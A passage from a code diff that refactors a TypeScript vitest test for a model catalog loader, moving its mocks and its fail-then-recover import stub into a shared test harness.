__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
return () => call;
}

View File

@@ -1,50 +1,18 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { __setModelCatalogImportForTest, loadModelCatalog } from "./model-catalog.js";
import {
__setModelCatalogImportForTest,
loadModelCatalog,
resetModelCatalogCacheForTest,
} from "./model-catalog.js";
type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
installModelCatalogTestHooks,
mockCatalogImportFailThenRecover,
type PiSdkModule,
} from "./model-catalog.test-harness.js";
describe("loadModelCatalog", () => {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
installModelCatalogTestHooks();
it("retries after import failure without poisoning the cache", async () => {
const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
let call = 0;
__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
const getCallCount = mockCatalogImportFailThenRecover();
const cfg = {} as OpenClawConfig;
const first = await loadModelCatalog({ config: cfg });
@@ -52,7 +20,7 @@ describe("loadModelCatalog", () => {
const second = await loadModelCatalog({ config: cfg });
expect(second).toEqual([{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]);
expect(call).toBe(2);
expect(getCallCount()).toBe(2);
expect(warnSpy).toHaveBeenCalledTimes(1);
});

Some files were not shown because too many files have changed in this diff Show More